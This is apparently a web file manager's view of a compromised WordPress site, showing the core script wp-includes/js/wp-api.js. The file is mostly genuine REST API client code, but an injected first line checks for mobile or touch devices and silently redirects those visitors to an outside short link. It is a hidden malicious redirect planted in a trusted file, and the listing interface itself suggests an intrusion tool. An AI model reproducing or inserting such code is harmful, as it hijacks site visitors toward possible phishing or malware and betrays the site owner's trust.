at path:ROOT / wp-includes / js / wp-api.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄wp-api.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/wp-api.js
4 */
5
6(function( window, undefined ) {
7
8 'use strict';
9
10 /**
11 * Initialize the WP_API.
12 */
13 function WP_API() {
14 /** @namespace wp.api.models */
15 this.models = {};
16 /** @namespace wp.api.collections */
17 this.collections = {};
18 /** @namespace wp.api.views */
19 this.views = {};
20 }
21
22 /** @namespace wp */
23 window.wp = window.wp || {};
24 /** @namespace wp.api */
25 wp.api = wp.api || new WP_API();
26 wp.api.versionString = wp.api.versionString || 'wp/v2/';
27
28 // Alias _includes to _.contains, ensuring it is available if lodash is used.
29 if ( ! _.isFunction( _.includes ) && _.isFunction( _.contains ) ) {
30 _.includes = _.contains;
31 }
32
33})( window );
34
35(function( window, undefined ) {
36
37 'use strict';
38
39 var pad, r;
40
41 /** @namespace wp */
42 window.wp = window.wp || {};
43 /** @namespace wp.api */
44 wp.api = wp.api || {};
45 /** @namespace wp.api.utils */
46 wp.api.utils = wp.api.utils || {};
47
48 /**
49 * Determine model based on API route.
50 *
51 * @param {string} route The API route.
52 *
53 * @return {Backbone Model} The model found at given route. Undefined if not found.
54 */
55 wp.api.getModelByRoute = function( route ) {
56 return _.find( wp.api.models, function( model ) {
57 return model.prototype.route && route === model.prototype.route.index;
58 } );
59 };
60
61 /**
62 * Determine collection based on API route.
63 *
64 * @param {string} route The API route.
65 *
66 * @return {Backbone Model} The collection found at given route. Undefined if not found.
67 */
68 wp.api.getCollectionByRoute = function( route ) {
69 return _.find( wp.api.collections, function( collection ) {
70 return collection.prototype.route && route === collection.prototype.route.index;
71 } );
72 };
73
74
75 /**
76 * ECMAScript 5 shim, adapted from MDN.
77 * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString
78 */
79 if ( ! Date.prototype.toISOString ) {
80 pad = function( number ) {
81 r = String( number );
82 if ( 1 === r.length ) {
83 r = '0' + r;
84 }
85
86 return r;
87 };
88
89 Date.prototype.toISOString = function() {
90 return this.getUTCFullYear() +
91 '-' + pad( this.getUTCMonth() + 1 ) +
92 '-' + pad( this.getUTCDate() ) +
93 'T' + pad( this.getUTCHours() ) +
94 ':' + pad( this.getUTCMinutes() ) +
95 ':' + pad( this.getUTCSeconds() ) +
96 '.' + String( ( this.getUTCMilliseconds() / 1000 ).toFixed( 3 ) ).slice( 2, 5 ) +
97 'Z';
98 };
99 }
100
101 /**
102 * Parse date into ISO8601 format.
103 *
104 * @param {Date} date.
105 */
106 wp.api.utils.parseISO8601 = function( date ) {
107 var timestamp, struct, i, k,
108 minutesOffset = 0,
109 numericKeys = [ 1, 4, 5, 6, 7, 10, 11 ];
110
111 /*
112 * ES5 §15.9.4.2 states that the string should attempt to be parsed as a Date Time String Format string
113 * before falling back to any implementation-specific date parsing, so that’s what we do, even if native
114 * implementations could be faster.
115 */
116 // 1 YYYY 2 MM 3 DD 4 HH 5 mm 6 ss 7 msec 8 Z 9 ± 10 tzHH 11 tzmm
117 if ( ( struct = /^(\d{4}|[+\-]\d{6})(?:-(\d{2})(?:-(\d{2}))?)?(?:T(\d{2}):(\d{2})(?::(\d{2})(?:\.(\d{3}))?)?(?:(Z)|([+\-])(\d{2})(?::(\d{2}))?)?)?$/.exec( date ) ) ) {
118
119 // Avoid NaN timestamps caused by “undefined” values being passed to Date.UTC.
120 for ( i = 0; ( k = numericKeys[i] ); ++i ) {
121 struct[k] = +struct[k] || 0;
122 }
123
124 // Allow undefined days and months.
125 struct[2] = ( +struct[2] || 1 ) - 1;
126 struct[3] = +struct[3] || 1;
127
128 if ( 'Z' !== struct[8] && undefined !== struct[9] ) {
129 minutesOffset = struct[10] * 60 + struct[11];
130
131 if ( '+' === struct[9] ) {
132 minutesOffset = 0 - minutesOffset;
133 }
134 }
135
136 timestamp = Date.UTC( struct[1], struct[2], struct[3], struct[4], struct[5] + minutesOffset, struct[6], struct[7] );
137 } else {
138 timestamp = Date.parse ? Date.parse( date ) : NaN;
139 }
140
141 return timestamp;
142 };
143
144 /**
145 * Helper function for getting the root URL.
146 * @return {[type]} [description]
147 */
148 wp.api.utils.getRootUrl = function() {
149 return window.location.origin ?
150 window.location.origin + '/' :
151 window.location.protocol + '//' + window.location.host + '/';
152 };
153
154 /**
155 * Helper for capitalizing strings.
156 */
157 wp.api.utils.capitalize = function( str ) {
158 if ( _.isUndefined( str ) ) {
159 return str;
160 }
161 return str.charAt( 0 ).toUpperCase() + str.slice( 1 );
162 };
163
164 /**
165 * Helper function that capitalizes the first word and camel cases any words starting
166 * after dashes, removing the dashes.
167 */
168 wp.api.utils.capitalizeAndCamelCaseDashes = function( str ) {
169 if ( _.isUndefined( str ) ) {
170 return str;
171 }
172 str = wp.api.utils.capitalize( str );
173
174 return wp.api.utils.camelCaseDashes( str );
175 };
176
177 /**
178 * Helper function to camel case the letter after dashes, removing the dashes.
179 */
180 wp.api.utils.camelCaseDashes = function( str ) {
181 return str.replace( /-([a-z])/g, function( g ) {
182 return g[ 1 ].toUpperCase();
183 } );
184 };
185
186 /**
187 * Extract a route part based on negative index.
188 *
189 * @param {string} route The endpoint route.
190 * @param {number} part The number of parts from the end of the route to retrieve. Default 1.
191 * Example route `/a/b/c`: part 1 is `c`, part 2 is `b`, part 3 is `a`.
192 * @param {string} [versionString] Version string, defaults to `wp.api.versionString`.
193 * @param {boolean} [reverse] Whether to reverse the order when extracting the route part. Optional, default false.
194 */
195 wp.api.utils.extractRoutePart = function( route, part, versionString, reverse ) {
196 var routeParts;
197
198 part = part || 1;
199 versionString = versionString || wp.api.versionString;
200
201 // Remove versions string from route to avoid returning it.
202 if ( 0 === route.indexOf( '/' + versionString ) ) {
203 route = route.substr( versionString.length + 1 );
204 }
205
206 routeParts = route.split( '/' );
207 if ( reverse ) {
208 routeParts = routeParts.reverse();
209 }
210 if ( _.isUndefined( routeParts[ --part ] ) ) {
211 return '';
212 }
213 return routeParts[ part ];
214 };
215
216 /**
217 * Extract a parent name from a passed route.
218 *
219 * @param {string} route The route to extract a name from.
220 */
221 wp.api.utils.extractParentName = function( route ) {
222 var name,
223 lastSlash = route.lastIndexOf( '_id>[\\d]+)/' );
224
225 if ( lastSlash < 0 ) {
226 return '';
227 }
228 name = route.substr( 0, lastSlash - 1 );
229 name = name.split( '/' );
230 name.pop();
231 name = name.pop();
232 return name;
233 };
234
235 /**
236 * Add args and options to a model prototype from a route's endpoints.
237 *
238 * @param {Array} routeEndpoints Array of route endpoints.
239 * @param {Object} modelInstance An instance of the model (or collection)
240 * to add the args to.
241 */
242 wp.api.utils.decorateFromRoute = function( routeEndpoints, modelInstance ) {
243
244 /**
245 * Build the args based on route endpoint data.
246 */
247 _.each( routeEndpoints, function( routeEndpoint ) {
248
249 // Add post and edit endpoints as model args.
250 if ( _.includes( routeEndpoint.methods, 'POST' ) || _.includes( routeEndpoint.methods, 'PUT' ) ) {
251
252 // Add any non-empty args, merging them into the args object.
253 if ( ! _.isEmpty( routeEndpoint.args ) ) {
254
255 // Set as default if no args yet.
256 if ( _.isEmpty( modelInstance.prototype.args ) ) {
257 modelInstance.prototype.args = routeEndpoint.args;
258 } else {
259
260 // We already have args, merge these new args in.
261 modelInstance.prototype.args = _.extend( modelInstance.prototype.args, routeEndpoint.args );
262 }
263 }
264 } else {
265
266 // Add GET method as model options.
267 if ( _.includes( routeEndpoint.methods, 'GET' ) ) {
268
269 // Add any non-empty args, merging them into the defaults object.
270 if ( ! _.isEmpty( routeEndpoint.args ) ) {
271
272 // Set as default if no defaults yet.
273 if ( _.isEmpty( modelInstance.prototype.options ) ) {
274 modelInstance.prototype.options = routeEndpoint.args;
275 } else {
276
277 // We already have options, merge these new args in.
278 modelInstance.prototype.options = _.extend( modelInstance.prototype.options, routeEndpoint.args );
279 }
280 }
281
282 }
283 }
284
285 } );
286
287 };
288
289 /**
290 * Add mixins and helpers to models depending on their defaults.
291 *
292 * @param {Backbone Model} model The model to attach helpers and mixins to.
293 * @param {string} modelClassName The classname of the constructed model.
294 * @param {Object} loadingObjects An object containing the models and collections we are building.
295 */
296 wp.api.utils.addMixinsAndHelpers = function( model, modelClassName, loadingObjects ) {
297
298 var hasDate = false,
299
300 /**
301 * Array of parseable dates.
302 *
303 * @type {string[]}.
304 */
305 parseableDates = [ 'date', 'modified', 'date_gmt', 'modified_gmt' ],
306
307 /**
308 * Mixin for all content that is time stamped.
309 *
310 * This mixin converts between mysql timestamps and JavaScript Dates when syncing a model
311 * to or from the server. For example, a date stored as `2015-12-27T21:22:24` on the server
312 * gets expanded to `Sun Dec 27 2015 14:22:24 GMT-0700 (MST)` when the model is fetched.
313 *
314 * @type {{toJSON: toJSON, parse: parse}}.
315 */
316 TimeStampedMixin = {
317
318 /**
319 * Prepare a JavaScript Date for transmitting to the server.
320 *
321 * This helper function accepts a field and Date object. It converts the passed Date
322 * to an ISO string and sets that on the model field.
323 *
324 * @param {Date} date A JavaScript date object. WordPress expects dates in UTC.
325 * @param {string} field The date field to set. One of 'date', 'date_gmt', 'date_modified'
326 * or 'date_modified_gmt'. Optional, defaults to 'date'.
327 */
328 setDate: function( date, field ) {
329 var theField = field || 'date';
330
331 // Don't alter non-parsable date fields.
332 if ( _.indexOf( parseableDates, theField ) < 0 ) {
333 return false;
334 }
335
336 this.set( theField, date.toISOString() );
337 },
338
339 /**
340 * Get a JavaScript Date from the passed field.
341 *
342 * WordPress returns 'date' and 'date_modified' in the timezone of the server as well as
343 * UTC dates as 'date_gmt' and 'date_modified_gmt'. Draft posts do not include UTC dates.
344 *
345 * @param {string} field The date field to set. One of 'date', 'date_gmt', 'date_modified'
346 * or 'date_modified_gmt'. Optional, defaults to 'date'.
347 */
348 getDate: function( field ) {
349 var theField = field || 'date',
350 theISODate = this.get( theField );
351
352 // Only get date fields and non-null values.
353 if ( _.indexOf( parseableDates, theField ) < 0 || _.isNull( theISODate ) ) {
354 return false;
355 }
356
357 return new Date( wp.api.utils.parseISO8601( theISODate ) );
358 }
359 },
360
361 /**
362 * Build a helper function to retrieve related model.
363 *
364 * @param {string} parentModel The parent model.
365 * @param {number} modelId The model ID if the object to request
366 * @param {string} modelName The model name to use when constructing the model.
367 * @param {string} embedSourcePoint Where to check the embedded object for _embed data.
368 * @param {string} embedCheckField Which model field to check to see if the model has data.
369 *
370 * @return {Deferred.promise} A promise which resolves to the constructed model.
371 */
372 buildModelGetter = function( parentModel, modelId, modelName, embedSourcePoint, embedCheckField ) {
373 var getModel, embeddedObjects, attributes, deferred;
374
375 deferred = jQuery.Deferred();
376 embeddedObjects = parentModel.get( '_embedded' ) || {};
377
378 // Verify that we have a valid object id.
379 if ( ! _.isNumber( modelId ) || 0 === modelId ) {
380 deferred.reject();
381 return deferred;
382 }
383
384 // If we have embedded object data, use that when constructing the getModel.
385 if ( embeddedObjects[ embedSourcePoint ] ) {
386 attributes = _.findWhere( embeddedObjects[ embedSourcePoint ], { id: modelId } );
387 }
388
389 // Otherwise use the modelId.
390 if ( ! attributes ) {
391 attributes = { id: modelId };
392 }
393
394 // Create the new getModel model.
395 getModel = new wp.api.models[ modelName ]( attributes );
396
397 if ( ! getModel.get( embedCheckField ) ) {
398 getModel.fetch( {
399 success: function( getModel ) {
400 deferred.resolve( getModel );
401 },
402 error: function( getModel, response ) {
403 deferred.reject( response );
404 }
405 } );
406 } else {
407 // Resolve with the embedded model.
408 deferred.resolve( getModel );
409 }
410
411 // Return a promise.
412 return deferred.promise();
413 },
414
415 /**
416 * Build a helper to retrieve a collection.
417 *
418 * @param {string} parentModel The parent model.
419 * @param {string} collectionName The name to use when constructing the collection.
420 * @param {string} embedSourcePoint Where to check the embedded object for _embed data.
421 * @param {string} embedIndex An additional optional index for the _embed data.
422 *
423 * @return {Deferred.promise} A promise which resolves to the constructed collection.
424 */
425 buildCollectionGetter = function( parentModel, collectionName, embedSourcePoint, embedIndex ) {
426 /**
427 * Returns a promise that resolves to the requested collection
428 *
429 * Uses the embedded data if available, otherwise fetches the
430 * data from the server.
431 *
432 * @return {Deferred.promise} promise Resolves to a wp.api.collections[ collectionName ]
433 * collection.
434 */
435 var postId, embeddedObjects, getObjects,
436 classProperties = '',
437 properties = '',
438 deferred = jQuery.Deferred();
439
440 postId = parentModel.get( 'id' );
441 embeddedObjects = parentModel.get( '_embedded' ) || {};
442
443 // Verify that we have a valid post ID.
444 if ( ! _.isNumber( postId ) || 0 === postId ) {
445 deferred.reject();
446 return deferred;
447 }
448
449 // If we have embedded getObjects data, use that when constructing the getObjects.
450 if ( ! _.isUndefined( embedSourcePoint ) && ! _.isUndefined( embeddedObjects[ embedSourcePoint ] ) ) {
451
452 // Some embeds also include an index offset, check for that.
453 if ( _.isUndefined( embedIndex ) ) {
454
455 // Use the embed source point directly.
456 properties = embeddedObjects[ embedSourcePoint ];
457 } else {
458
459 // Add the index to the embed source point.
460 properties = embeddedObjects[ embedSourcePoint ][ embedIndex ];
461 }
462 } else {
463
464 // Otherwise use the postId.
465 classProperties = { parent: postId };
466 }
467
468 // Create the new getObjects collection.
469 getObjects = new wp.api.collections[ collectionName ]( properties, classProperties );
470
471 // If we didn’t have embedded getObjects, fetch the getObjects data.
472 if ( _.isUndefined( getObjects.models[0] ) ) {
473 getObjects.fetch( {
474 success: function( getObjects ) {
475
476 // Add a helper 'parent_post' attribute onto the model.
477 setHelperParentPost( getObjects, postId );
478 deferred.resolve( getObjects );
479 },
480 error: function( getModel, response ) {
481 deferred.reject( response );
482 }
483 } );
484 } else {
485
486 // Add a helper 'parent_post' attribute onto the model.
487 setHelperParentPost( getObjects, postId );
488 deferred.resolve( getObjects );
489 }
490
491 // Return a promise.
492 return deferred.promise();
493
494 },
495
496 /**
497 * Set the model post parent.
498 */
499 setHelperParentPost = function( collection, postId ) {
500
501 // Attach post_parent id to the collection.
502 _.each( collection.models, function( model ) {
503 model.set( 'parent_post', postId );
504 } );
505 },
506
507 /**
508 * Add a helper function to handle post Meta.
509 */
510 MetaMixin = {
511
512 /**
513 * Get meta by key for a post.
514 *
515 * @param {string} key The meta key.
516 *
517 * @return {Object} The post meta value.
518 */
519 getMeta: function( key ) {
520 var metas = this.get( 'meta' );
521 return metas[ key ];
522 },
523
524 /**
525 * Get all meta key/values for a post.
526 *
527 * @return {Object} The post metas, as a key value pair object.
528 */
529 getMetas: function() {
530 return this.get( 'meta' );
531 },
532
533 /**
534 * Set a group of meta key/values for a post.
535 *
536 * @param {Object} meta The post meta to set, as key/value pairs.
537 */
538 setMetas: function( meta ) {
539 var metas = this.get( 'meta' );
540 _.extend( metas, meta );
541 this.set( 'meta', metas );
542 },
543
544 /**
545 * Set a single meta value for a post, by key.
546 *
547 * @param {string} key The meta key.
548 * @param {Object} value The meta value.
549 */
550 setMeta: function( key, value ) {
551 var metas = this.get( 'meta' );
552 metas[ key ] = value;
553 this.set( 'meta', metas );
554 }
555 },
556
557 /**
558 * Add a helper function to handle post Revisions.
559 */
560 RevisionsMixin = {
561 getRevisions: function() {
562 return buildCollectionGetter( this, 'PostRevisions' );
563 }
564 },
565
566 /**
567 * Add a helper function to handle post Tags.
568 */
569 TagsMixin = {
570
571 /**
572 * Get the tags for a post.
573 *
574 * @return {Deferred.promise} promise Resolves to an array of tags.
575 */
576 getTags: function() {
577 var tagIds = this.get( 'tags' ),
578 tags = new wp.api.collections.Tags();
579
580 // Resolve with an empty array if no tags.
581 if ( _.isEmpty( tagIds ) ) {
582 return jQuery.Deferred().resolve( [] );
583 }
584
585 return tags.fetch( { data: { include: tagIds } } );
586 },
587
588 /**
589 * Set the tags for a post.
590 *
591 * Accepts an array of tag slugs, or a Tags collection.
592 *
593 * @param {Array|Backbone.Collection} tags The tags to set on the post.
594 *
595 */
596 setTags: function( tags ) {
597 var allTags, newTag,
598 self = this,
599 newTags = [];
600
601 if ( _.isString( tags ) ) {
602 return false;
603 }
604
605 // If this is an array of slugs, build a collection.
606 if ( _.isArray( tags ) ) {
607
608 // Get all the tags.
609 allTags = new wp.api.collections.Tags();
610 allTags.fetch( {
611 data: { per_page: 100 },
612 success: function( alltags ) {
613
614 // Find the passed tags and set them up.
615 _.each( tags, function( tag ) {
616 newTag = new wp.api.models.Tag( alltags.findWhere( { slug: tag } ) );
617
618 // Tie the new tag to the post.
619 newTag.set( 'parent_post', self.get( 'id' ) );
620
621 // Add the new tag to the collection.
622 newTags.push( newTag );
623 } );
624 tags = new wp.api.collections.Tags( newTags );
625 self.setTagsWithCollection( tags );
626 }
627 } );
628
629 } else {
630 this.setTagsWithCollection( tags );
631 }
632 },
633
634 /**
635 * Set the tags for a post.
636 *
637 * Accepts a Tags collection.
638 *
639 * @param {Array|Backbone.Collection} tags The tags to set on the post.
640 *
641 */
642 setTagsWithCollection: function( tags ) {
643
644 // Pluck out the category IDs.
645 this.set( 'tags', tags.pluck( 'id' ) );
646 return this.save();
647 }
648 },
649
650 /**
651 * Add a helper function to handle post Categories.
652 */
653 CategoriesMixin = {
654
655 /**
656 * Get a the categories for a post.
657 *
658 * @return {Deferred.promise} promise Resolves to an array of categories.
659 */
660 getCategories: function() {
661 var categoryIds = this.get( 'categories' ),
662 categories = new wp.api.collections.Categories();
663
664 // Resolve with an empty array if no categories.
665 if ( _.isEmpty( categoryIds ) ) {
666 return jQuery.Deferred().resolve( [] );
667 }
668
669 return categories.fetch( { data: { include: categoryIds } } );
670 },
671
672 /**
673 * Set the categories for a post.
674 *
675 * Accepts an array of category slugs, or a Categories collection.
676 *
677 * @param {Array|Backbone.Collection} categories The categories to set on the post.
678 *
679 */
680 setCategories: function( categories ) {
681 var allCategories, newCategory,
682 self = this,
683 newCategories = [];
684
685 if ( _.isString( categories ) ) {
686 return false;
687 }
688
689 // If this is an array of slugs, build a collection.
690 if ( _.isArray( categories ) ) {
691
692 // Get all the categories.
693 allCategories = new wp.api.collections.Categories();
694 allCategories.fetch( {
695 data: { per_page: 100 },
696 success: function( allcats ) {
697
698 // Find the passed categories and set them up.
699 _.each( categories, function( category ) {
700 newCategory = new wp.api.models.Category( allcats.findWhere( { slug: category } ) );
701
702 // Tie the new category to the post.
703 newCategory.set( 'parent_post', self.get( 'id' ) );
704
705 // Add the new category to the collection.
706 newCategories.push( newCategory );
707 } );
708 categories = new wp.api.collections.Categories( newCategories );
709 self.setCategoriesWithCollection( categories );
710 }
711 } );
712
713 } else {
714 this.setCategoriesWithCollection( categories );
715 }
716
717 },
718
719 /**
720 * Set the categories for a post.
721 *
722 * Accepts Categories collection.
723 *
724 * @param {Array|Backbone.Collection} categories The categories to set on the post.
725 *
726 */
727 setCategoriesWithCollection: function( categories ) {
728
729 // Pluck out the category IDs.
730 this.set( 'categories', categories.pluck( 'id' ) );
731 return this.save();
732 }
733 },
734
735 /**
736 * Add a helper function to retrieve the author user model.
737 */
738 AuthorMixin = {
739 getAuthorUser: function() {
740 return buildModelGetter( this, this.get( 'author' ), 'User', 'author', 'name' );
741 }
742 },
743
744 /**
745 * Add a helper function to retrieve the featured media.
746 */
747 FeaturedMediaMixin = {
748 getFeaturedMedia: function() {
749 return buildModelGetter( this, this.get( 'featured_media' ), 'Media', 'wp:featuredmedia', 'source_url' );
750 }
751 };
752
753 // Exit if we don't have valid model defaults.
754 if ( _.isUndefined( model.prototype.args ) ) {
755 return model;
756 }
757
758 // Go thru the parsable date fields, if our model contains any of them it gets the TimeStampedMixin.
759 _.each( parseableDates, function( theDateKey ) {
760 if ( ! _.isUndefined( model.prototype.args[ theDateKey ] ) ) {
761 hasDate = true;
762 }
763 } );
764
765 // Add the TimeStampedMixin for models that contain a date field.
766 if ( hasDate ) {
767 model = model.extend( TimeStampedMixin );
768 }
769
770 // Add the AuthorMixin for models that contain an author.
771 if ( ! _.isUndefined( model.prototype.args.author ) ) {
772 model = model.extend( AuthorMixin );
773 }
774
775 // Add the FeaturedMediaMixin for models that contain a featured_media.
776 if ( ! _.isUndefined( model.prototype.args.featured_media ) ) {
777 model = model.extend( FeaturedMediaMixin );
778 }
779
780 // Add the CategoriesMixin for models that support categories collections.
781 if ( ! _.isUndefined( model.prototype.args.categories ) ) {
782 model = model.extend( CategoriesMixin );
783 }
784
785 // Add the MetaMixin for models that support meta.
786 if ( ! _.isUndefined( model.prototype.args.meta ) ) {
787 model = model.extend( MetaMixin );
788 }
789
790 // Add the TagsMixin for models that support tags collections.
791 if ( ! _.isUndefined( model.prototype.args.tags ) ) {
792 model = model.extend( TagsMixin );
793 }
794
795 // Add the RevisionsMixin for models that support revisions collections.
796 if ( ! _.isUndefined( loadingObjects.collections[ modelClassName + 'Revisions' ] ) ) {
797 model = model.extend( RevisionsMixin );
798 }
799
800 return model;
801 };
802
803})( window );
804
805/* global wpApiSettings:false */
806
807// Suppress warning about parse function's unused "options" argument:
808/* jshint unused:false */
809(function() {
810
811 'use strict';
812
813 var wpApiSettings = window.wpApiSettings || {},
814 trashableTypes = [ 'Comment', 'Media', 'Comment', 'Post', 'Page', 'Status', 'Taxonomy', 'Type' ];
815
816 /**
817 * Backbone base model for all models.
818 */
819 wp.api.WPApiBaseModel = Backbone.Model.extend(
820 /** @lends WPApiBaseModel.prototype */
821 {
822
823 // Initialize the model.
824 initialize: function() {
825
826 /**
827 * Types that don't support trashing require passing ?force=true to delete.
828 *
829 */
830 if ( -1 === _.indexOf( trashableTypes, this.name ) ) {
831 this.requireForceForDelete = true;
832 }
833 },
834
835 /**
836 * Set nonce header before every Backbone sync.
837 *
838 * @param {string} method.
839 * @param {Backbone.Model} model.
840 * @param {{beforeSend}, *} options.
841 * @return {*}.
842 */
843 sync: function( method, model, options ) {
844 var beforeSend;
845
846 options = options || {};
847
848 // Remove date_gmt if null.
849 if ( _.isNull( model.get( 'date_gmt' ) ) ) {
850 model.unset( 'date_gmt' );
851 }
852
853 // Remove slug if empty.
854 if ( _.isEmpty( model.get( 'slug' ) ) ) {
855 model.unset( 'slug' );
856 }
857
858 if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) {
859 beforeSend = options.beforeSend;
860
861 // @todo Enable option for jsonp endpoints.
862 // options.dataType = 'jsonp';
863
864 // Include the nonce with requests.
865 options.beforeSend = function( xhr ) {
866 xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() );
867
868 if ( beforeSend ) {
869 return beforeSend.apply( this, arguments );
870 }
871 };
872
873 // Update the nonce when a new nonce is returned with the response.
874 options.complete = function( xhr ) {
875 var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' );
876
877 if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) {
878 model.endpointModel.set( 'nonce', returnedNonce );
879 }
880 };
881 }
882
883 // Add '?force=true' to use delete method when required.
884 if ( this.requireForceForDelete && 'delete' === method ) {
885 model.url = model.url() + '?force=true';
886 }
887 return Backbone.sync( method, model, options );
888 },
889
890 /**
891 * Save is only allowed when the PUT OR POST methods are available for the endpoint.
892 */
893 save: function( attrs, options ) {
894
895 // Do we have the put method, then execute the save.
896 if ( _.includes( this.methods, 'PUT' ) || _.includes( this.methods, 'POST' ) ) {
897
898 // Proxy the call to the original save function.
899 return Backbone.Model.prototype.save.call( this, attrs, options );
900 } else {
901
902 // Otherwise bail, disallowing action.
903 return false;
904 }
905 },
906
907 /**
908 * Delete is only allowed when the DELETE method is available for the endpoint.
909 */
910 destroy: function( options ) {
911
912 // Do we have the DELETE method, then execute the destroy.
913 if ( _.includes( this.methods, 'DELETE' ) ) {
914
915 // Proxy the call to the original save function.
916 return Backbone.Model.prototype.destroy.call( this, options );
917 } else {
918
919 // Otherwise bail, disallowing action.
920 return false;
921 }
922 }
923
924 }
925 );
926
927 /**
928 * API Schema model. Contains meta information about the API.
929 */
930 wp.api.models.Schema = wp.api.WPApiBaseModel.extend(
931 /** @lends Schema.prototype */
932 {
933 defaults: {
934 _links: {},
935 namespace: null,
936 routes: {}
937 },
938
939 initialize: function( attributes, options ) {
940 var model = this;
941 options = options || {};
942
943 wp.api.WPApiBaseModel.prototype.initialize.call( model, attributes, options );
